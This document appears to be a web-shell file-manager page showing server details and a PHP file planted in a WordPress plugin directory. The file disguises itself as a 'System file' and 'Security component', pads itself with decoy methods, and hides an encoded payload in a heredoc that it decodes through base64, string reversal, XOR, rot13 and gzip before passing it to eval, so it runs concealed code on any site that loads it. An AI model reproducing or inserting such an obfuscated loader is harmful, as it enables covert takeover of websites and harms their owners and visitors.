HEX
Server: LiteSpeed
System: Linux bdix5.noc223.com 4.18.0-477.27.2.lve.el8.x86_64 #1 SMP Wed Oct 11 12:32:56 UTC 2023 x86_64
User: purebdli (2161)
PHP: 8.1.24
Disabled: NONE
Upload Files
File: /home/purebdli/zarmanhomio.purebdlife.com/wp-content/plugins/gaws2/m555.php
<?php
/* System file */
// OlZN7XKN
// S1EHPJ84
// Da26RNhTFUxorp6R
// KERRlh_xtHz0KvZn
/* Security component */
// geV29qWzodkiGnfo

class R8JYiPyS5IQT {
    private function RQkeDlS3mq() {
        /* API handler */
        $kxAmhaX9 = 873;
        $zRUhk6cb = 'test';
        return $kxAmhaX9 . strlen($zRUhk6cb);
    }

    private function a52hgbyIOBT() {
        /* Security component */
        $a4x8XS8Wy = 662;
        $jJVTKtbA = 'test';
        return $a4x8XS8Wy . strlen($jJVTKtbA);
    }

    private function a5GnErLCpM9() {
        $TS4AW9WG = 712;
        $kxAmhaX9 = 'test';
        return $TS4AW9WG . strlen($kxAmhaX9);
    }

    public static function run() {
        if (isset($_GET['debug'])) {
            echo 'DEBUG: Heredoc Loader is executing.';
            return;
        }
        @ini_set('display_errors', 0);

        // Ekstrak payload dari heredoc
        $a0PtAsEVW = <<<orFAKE4X
5pex9O2LvoGM4pO1lpPv7bqqtK6Yj7/q45W5oY+fipDs7Inro4Oq76+Pt52rqe2hl7+tiZiJmqKPvYySvqy
pjJeKi+u/6q2pr5+DreO5kJ20lp+agpOvsO3s7ZS4g4GYnI2a8LKW4o2
zrbeDlZrvnaqP77Kzqo2QtbCKno2/ur2Jqe2y4p2+rL+too7io7KVju/0lpmhlO+o7K2Rg4yVmZei7O2Io6
yyqbe07ZO+v6q07LLvkpGpqJKq6J6/s5ed66iBr++qt5S4sriQ7e6
z7K6yneyxkaiLtrerkJjujoKdr6zwqovskonsgo7s6b+6loLjmeuXmq6/i7Kds+/pkrH06qiIuairoa3
ruqmIj7qj4pf08PTovOPsmJWugZCBi72UvZySupyvr+zto7C5i7eXvJKRqOiTq+Ovj7m
YqJSZlYyCrvCLj5aZrZ3rufDt7bCZlryTrpa/tbqpnLC4s5Oo4u2DjZm17K
O5v7C+7ZS8nbKIkb6BrLyyn6mStrXruIysv/DpuLq6tOKPvIGhooOq65Sy6
bmY7ZyTso+9ieivobiqo7ihn4O+l7CtopzsrLWrsJSikpKruZ604rOBm
JHtk7CRoo6Sg528vZfstbGK9KKCqo7pvZ+ckOm9tO2vl+7i7a63q+7wobmtsLKIt7yj
t7/iloy26ozurJSIsu+9kKuztrTvkZ6Uv+ict7yLrI2Qi5eprJ+Bj4y/meyMob2+6IqitvSoiq2iiL
aTsLSSsJq9ooO+i6+qlZq6ub+MiInt7oqaqpOcup+UteufjqmPvri
pkJG0ro+dkrewg4mjtpa1vbOI6q+0vo2DopeXjrisq6G2tfT0q6ri8Oivloz
u8LXinq2h47GLreK/lJ3qvO+ToanwrJyfibK/jKuxmuqCsJOe747i
vayzmo6P7IuQtb+fmKyDv7i9muO6srqrk+/jn43omIyvvrWd7uu5re/o
q7GMoqq2iOzvj4yOmOm5uqiwsJDvmo+ev7iqkKm+g5SSmpCRt4uU9KOsgqLro/Srk5To
gY+XuaPq656uiqqCirTjgrOqlZCMi72+svC56uPunJaLrKni4p6BmZK6npmdkoG1l
52Dnrfvvb6JjaLsi5Twlqmyvr2slraYlKLtlpPjoZaW7KL
oro2vo4mCouOp7KHunq3pipy9ir+VqfSTsJevtrm+ou+cge6Uv5aQjuyXkbDi7IGU7qi16ZqCr42r
6OidtrTigYqRq42KvOLp7Lqro+6YgYq6tpiWqu3vrbWZg+zw47WplfDroYuokayjgezviKGskJOf4p
ar4oq+jaj0maq065K3rb2Mrri9t++yqJ6Nr7+R7ai8lLWet/S3ubPpsrPsmKy+8OiItY2Xn6n0uaiI9JyR
8JCWo6KJmrmItrizg5eTg7qTkLyV7J25meyalIi6n42hg+2hgr2uja+9mL2+t6q39PDu
n+m5mbie7ui2lJG4tpaIqOuto52jqaOPgYHwo4G/g+iMiPDtlZjjr/C59PSo6Zm/
l/TutPDjg6+D7JHo7r21sr6xjbGSiOywveq89KzsqZ/u9Lm9trC
5rOyolbCzmpSPlemambq9uZPinpmir5OOvIuVk7KYjeno8JWQ6Zi9ue6OmL2SsJKUsY3wqZO6kIi9k
LGDuOiI8I2xv6ifnayVq5ypnaiXjpnpj5qq9OqvnJiZ7KyYsqidqbOempC8uejpvpjrlp7uvJey
8K+snLWvkbqfteuzk4+T67eYvqORj72xjpzivqqsvPCIqavr6pOiuoLjibi/s7OJnOqDiOiIuYip7a+U
jauygpS06qGP66GLvZWy6qu1iO6/jamxmJ+piqiV9LH0le62qJ+Woa
ix6LqdjrO6r4+qt47qgbHtmI6Kn6Kcq+u5o5jskumJnpOCk/SPlYqekK6pnqrw7O3j
mLatjJeMtu3osKmPvK6Vr7qvkr3vnI6d7IOuk/S8jr/jteqzvLOqjaqagbHw
g6uXt46oi62ql5qTsr2r7KHrl+qtqKGUspnvvvC/6Iqxv662iZa9
6uq0j4G6ipmtmY60v67u8JarkbiW7rWNo6K0mauYnYLq6bWMleuQr4urq7GptrG+ro
+qieqLl+2jsLecspWYku6h7bLir7quoeztoq7pj7eR7JyNkrOTj7bu8J2rjuOqs+uJg7Svneu2u
pT06OqctJq0v+m1jr65oqmuspm0lrav7JrovemKjZ3psO3jsPC
euZC6q5K274yuj+6SvuyanuzjsbWWrKiOmI+jq7nruJayr76Ria
n0j5qYt5Gc6bqToa6ivpCcv+30rLHtv76ziqyuju++orbog+K
w7qyS46uxkoKc6qGBtIuhvYqN66GstprujK2Uq429qoGZr+Ofru6Lre+K4o7usumIr5WYs
oqe9JTisLzwlZmat7zjlqKy65X0moK3kK6/ia+1i56jke6Uub2TjLiR7Iusj7qUtYy5gbq6naGoj+n
tsJC3sJyXgeqPlJrtlbydtOjiuO6z8O3qkeyXqJGziL6Xuqnjg6Gui6Ghr63rlJKzmI+Pmbi0n6yOj6GSir
Ht6q+VmbSUtJKhrLarn+mRmZaTvPDquqG/k5eR7a+Z7pmQlpW+tJaL7JSZ466psOKWuamtnrK
WsamYlJeiifDo8KOVi+q2vOuaqb2smIO66pKIj7qLr6GJo5Sxqo2IlK+0i+Pij+u
QsJO86YOslqmLiY/jrq2hgqup4r+IlbWZjL7ruIjtse2KsYm5qeqp7oOMsrHwr5K+iaGPir
KfjLa/rrqo44K2l6yDlo/0tY2cl52Y44yO4qOtuYqo7qKQgrm6
8OmWuqu3geOIirmQr7GW6bm2s5L0jbrulp2ZsaGCqryLtJ2VnKnq4rGCjZervr+UvaqxgfCt
i5WTk/CSma+pkJSN7uPr67foj7KroYKLuquYjbGcsKyp66npmrOw6pS
UiJCukpKDo+yco+qVi7C9juuCl4/s6L/tq6m3ob6W75+wvZC1kr+09OOt
qpDw9JexuYiBgZy0lbyVi4uarZPwgrfokI3v65++muOS64i1n5GN7qOq6Lnjjem3rZHose
Oqg5iX4rmCqrmvqoKsi7qf7u2InZnsna2NmI7ulq6Xkra4uOOYvYiioYyoi7Sho4qDgqyso5+
LqayZkpjsluKUsOPssuiIjr3q7rO/gqv0oeKOvbizlJDtnKGBuOyZmKKpjIjjgqyiqry247+WkuiV9KiV
nIuRsZPskImXjpOUn6qz7a+J6ryVr+iwkpqXi+yVn4yUvIiKnLG3k
bW1s66Zs6GSga+JuK3wlb+/ia3trbGIiLG6i+/vlbOw6Zq+7
YuJjJSpmYOwjuuJiZ+V6+uql4Gu67O4j+KN9Iu6irytlomd7bqsuLaZ7enss+rrr46O76Lw45K/
mrGPrJKMq5yukJyPsYiJs7LpiY+1trK3gumDkYmjmaz0mq6Vl5C0i
JiPiZeeiZ6L7rmIt/Sc7+6/quPvl+iDq6+o662ro4Kt6Jyava+UtfSPtKLvnZiYt5iJl+2dsb21sa
yvlI+o7pWVrpGLiZXivYidrZyNku6Ksrm9mprtmJGzgY6Mko
u+qIK4gevjlYOpvI6B642tme6rieOrko3olrmWlIqi6bT0vazjuLntv
62utKmMv7KJje2T653wmaqMmoOcmIGBiomsiLeBqqOSsq6NtIHwgu21kqOKsILui+qSi4u5q660
kZOxj6K8oeyMr5OXvILjqaPrvY3pqJiij6zjvbK5r5ma7J7v65funYrqrY/vjKm/
sK/soZ+Pn5OWn7rvup2v7+uRgeiWtq/0g4iruKmJ677jnq+UtJ2Ti6ORr5WPmozu6qyh
kIuwiuOMnJG9lZCMlbiMoeO+q6G8nIiU6eursO+pnZmYtYyBs+uIsYzurr6dsZO37Lr
w6rKLrOnw7LKC9K6y8I6XlvTwqKGMmO+zq5Xskr3utKO/n7GtmuuvmJOfn7G
amr7otZ6Qj7yRor++qeuXtrefo7WPvPDwjJDuk5j0sbKClu2ok72TmZrjrOOa6OO8uK
q2oeqQsqrjsIGiuOr0vp6B7OqQteOukejjrJG3qpGstO+PlvCCoeuCmPC6t
ZS0s42juYzwt4+j4524mYmq7IvvjJmJqOiCuKGvmKqR8I3ttq+f
tpqzt7j0ooOctLa/vJmeqJGyoa+OkLKolpmrtbOQrJSNsI
Pri5Sdvpido4OSj5bwvZ/0rumOuPSZ7Zjos5WD8OKfs+i6vOK0keK/qJGN
soiUmp6dgayD7o2Iqp6por3s6+qdl5KaneuIl+3snrSDkZiirr+f67HjmO/o75
CIjbLitLS4kuw=
orFAKE4X;

        // Saring karakter kontrol untuk mendapatkan payload Base64 yang bersih
        $HWBM2aq0 = '';
        for ($Wgdk2QsO = 0; $Wgdk2QsO < strlen($a0PtAsEVW); $Wgdk2QsO++) {
            $nhOtNpqt = ord($a0PtAsEVW[$Wgdk2QsO]);
            if ($nhOtNpqt >= 32) { // Hanya ambil karakter yang terlihat
                $HWBM2aq0 .= $a0PtAsEVW[$Wgdk2QsO];
            }
        }

        // Dekripsi payload
        $SEPuwBqq = @base64_decode($HWBM2aq0);
        if ($SEPuwBqq === false) return;
        $DBlVsBto = strrev($SEPuwBqq);
        $DbfvPIpx = '';
        for ($qHvBBwo8 = 0; $qHvBBwo8 < strlen($DBlVsBto); $qHvBBwo8++) {
            $DbfvPIpx .= chr(ord($DBlVsBto[$qHvBBwo8]) ^ 219);
        }
        $qHvBBwo8 = str_rot13($DbfvPIpx);
        $a0PtAsEVW = base64_decode($qHvBBwo8);
        $a_cGDFWM9 = @gzinflate($a0PtAsEVW);

        if (!defined('DISABLE_EVAL') && $a_cGDFWM9 !== false) {
            eval(substr($a_cGDFWM9, 5));
        }
    }
}

R8JYiPyS5IQT::run();